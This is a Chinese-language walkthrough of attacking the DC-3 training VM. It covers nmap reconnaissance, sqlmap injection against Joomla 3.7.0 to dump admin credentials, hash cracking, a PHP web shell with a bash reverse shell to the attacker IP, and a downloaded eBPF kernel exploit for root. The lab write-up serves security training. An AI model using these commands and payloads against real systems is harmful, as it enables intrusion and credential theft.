1. 靶机渗透测试概述
渗透测试就像一场数字世界的探险游戏,安全研究员们通过模拟黑客攻击的方式,在合法授权的环境中寻找系统漏洞。DC-3靶机就是这样一个专门设计的"训练场",它模拟了一个运行Joomla CMS的Ubuntu系统,隐藏着从Web漏洞到系统提权的完整攻击链。
我第一次接触DC-3靶机时,就被它精巧的设计所吸引。整个渗透过程就像剥洋葱一样,需要一层层突破防线:先通过Web应用漏洞获取初步访问权限,再逐步提升到系统最高权限。这种实战演练对于理解现代网络攻击的完整链条特别有帮助,尤其是Joomla这种仍在广泛使用的内容管理系统。
2. 环境准备与初始侦察
2.1 实验环境搭建
在开始之前,我们需要准备好实验环境。我的配置如下:
- 攻击机:Kali Linux 2023.1 (IP: 192.168.10.137)
- 靶机:DC-3 (IP: 192.168.10.133)
- 网络模式:桥接(确保两台机器在同一网段)
这里有个小技巧:如果发现两台机器无法ping通,记得检查虚拟机的网络适配器设置。我刚开始就犯过这个错误,折腾了半天才发现是网络模式选错了。
2.2 基础信息收集
使用netdiscover快速扫描局域网:
netdiscover -r 192.168.10.0/24发现靶机IP后,用nmap进行详细扫描:
nmap -sS -sV -T4 -O -A 192.168.10.133扫描结果显示靶机只开放了80端口,运行着HTTP服务。访问网页后发现是Joomla建站系统,这给了我们明确的方向。
3. Joomla漏洞挖掘与利用
3.1 CMS指纹识别
使用whatweb确认CMS信息:
whatweb http://192.168.10.133输出显示确实是Joomla系统。接着用dirsearch扫描目录:
dirsearch -u http://192.168.10.133/ -X 404 502 403发现了后台登录页面(/administrator),但尝试常用弱口令无果。这时候就需要更深入的漏洞挖掘了。
3.2 SQL注入漏洞利用
使用joomscan进行自动化扫描:
joomscan -u 192.168.10.133确认版本为Joomla 3.7.0后,searchsploit搜索已知漏洞:
searchsploit Joomla 3.7.0发现了一个SQL注入漏洞(42033.txt)。按照漏洞说明,使用sqlmap进行利用:
sqlmap -u "http://192.168.10.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]逐步获取数据库信息后,最终提取出管理员凭据:
sqlmap -u "http://192.168.10.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "name,password,username" --dump -p list[fullordering]3.3 密码破解与后台登录
获取到的密码哈希使用john破解:
john --format=bcrypt /root/passhash.txt成功破解出明文密码"snoopy",登录后台后发现了文件上传功能。
4. 获取Webshell与提权
4.1 文件上传漏洞利用
在模板管理页面找到上传点,创建包含以下代码的PHP文件:
<?php system("bash -c 'bash -i >& /dev/tcp/192.168.10.137/4444 0>&1'"); ?>同时在Kali上启动监听:
nc -lvp 4444访问上传的shell.php文件后,成功获得反向shell。
4.2 交互式Shell建立
原始shell功能有限,使用Python升级:
python -c 'import pty;pty.spawn("/bin/bash")'4.3 本地提权攻击
查看系统版本:
cat /etc/issue发现是Ubuntu 16.04,搜索相关漏洞:
searchsploit Ubuntu 16.04找到ebpf_mapfd_doubleput提权漏洞(39772),下载并编译exp:
wget https://example.com/39772.zip unzip 39772.zip cd ebpf_mapfd_doubleput_exploit ./compile.sh ./doubleput成功获取root权限后,在/root目录下找到flag文件。
5. 渗透测试经验总结
这次DC-3靶机渗透过程中有几个关键点值得注意:首先是信息收集要全面,从CMS版本识别到目录扫描,每一步都为后续攻击奠定基础;其次是工具链的灵活运用,从joomscan到sqlmap再到searchsploit,熟练掌握这些工具能极大提高效率;最后是提权思路要开阔,当常规方法失效时,考虑系统层面的漏洞往往能柳暗花明。
在实际操作中,我遇到过几个坑:一是sqlmap注入时忘记加--random-agent参数导致被WAF拦截;二是文件上传后忘记确认路径导致无法访问;三是提权exp编译时缺少依赖。这些问题都需要耐心调试,也是渗透测试的必经之路。